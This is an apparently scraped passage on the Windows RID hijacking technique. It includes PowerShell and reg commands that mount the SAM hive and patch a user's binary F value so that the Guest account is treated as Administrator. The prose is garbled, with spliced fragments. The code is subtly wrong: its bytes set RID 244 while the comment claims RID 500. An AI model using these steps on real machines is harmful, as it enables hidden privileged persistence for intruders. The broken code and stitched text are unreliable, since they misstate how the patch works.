RID (Relative Identifier) is the last component of a Windows Security Identifier (SID) that uniquely identifies a user or group. By default, the built-in Administrator account has RID 500, Guest is 501, and new local users typically start at 1000. In a RID Hijacking attack, adversaries modify the RID of a low-privilege account so that the system mistakenly grants it the privileges of a high-value account commonly the Administrator providing stealthy, persistent access without creating new accounts or altering group memberships.




Example of file permission when using the PsExec command (SYSTEM)
admin$) to hide it from standard listings.F value at offset 0x30 in the user’s SAM registry key so it matches 500 (Administrator).regini.# Mount the SAM hive
reg load HKLM\\TempSAM C:\\Windows\\System32\\config\\SAM
# Read and patch the binary F value at offset 0x30
$key = 'HKLM:\\TempSAM\\SAM\\Domains\\Account\\Users\\000001F5'
$binary = (Get-ItemProperty -Path $key -Name 'F').'F'
$binary[48..51] = [byte[]](244,0,0,0) # Little-endian 0x000000F4 → RID 500
Set-ItemProperty -Path $key -Name 'F' -Value $binary
# Unmount the SAM hive
reg unload HKLM\\TempSAM
Notes:
F value is a REG_BINARY blob containing user flags, timestamps, and RID at offset 0x30.regini to adjust SAM permissions and automate these steps.